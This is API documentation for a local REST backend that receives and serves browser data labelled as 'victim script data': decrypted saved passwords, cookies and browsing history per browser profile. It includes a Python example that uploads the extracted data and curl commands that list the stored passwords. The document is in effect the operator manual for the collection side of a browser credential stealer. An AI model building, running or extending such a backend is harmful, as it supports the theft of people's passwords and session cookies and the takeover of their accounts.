API Documentation
REST API Endpoints
Base URL: http://localhost:8000/api/
📤 Data Upload
| POST | /api/upload/ |
Upload victim script data |
Upload Payload Example:
{
"profiles": [
{
"name": "Profile 1",
"browser_type": "Chrome",
"passwords": [
{
"url": "https://example.com",
"username": "user@example.com",
"password": "decrypted_password"
}
],
"cookies": [...],
"history": [...]
}
]
}
📊 Data Retrieval
| GET | /api/status/ |
Get database statistics |
| GET | /api/profiles/ |
List all browser profiles |
| GET | /api/profiles/{id}/ |
Get specific profile details |
| GET | /api/passwords/ |
List all passwords |
| GET | /api/cookies/ |
List all cookies |
| GET | /api/history/ |
List all history entries |
🔍 Query Parameters
Some endpoints support filtering:
?profile_id=1- Filter by profile ID?browser_type=Chrome- Filter by browser type
📝 Usage Examples
Upload Data (Python):
import requests
import json
# Load your extracted data
with open('output.json', 'r') as f:
data = json.load(f)
# Prepare payload
payload = {'profiles': []}
for browser_data in data:
for profile_data in browser_data:
payload['profiles'].append(profile_data)
# Upload to API
response = requests.post(
'http://localhost:8000/api/upload/',
json=payload,
headers={'Content-Type': 'application/json'}
)
if response.status_code == 201:
print("Upload successful!")
else:
print("Upload failed:", response.text)
Check Status (curl):
curl http://localhost:8000/api/status/
Get Passwords (curl):
curl http://localhost:8000/api/passwords/?browser_type=Chrome
🔒 Security Notes
Warning: The API endpoints are currently open (no authentication).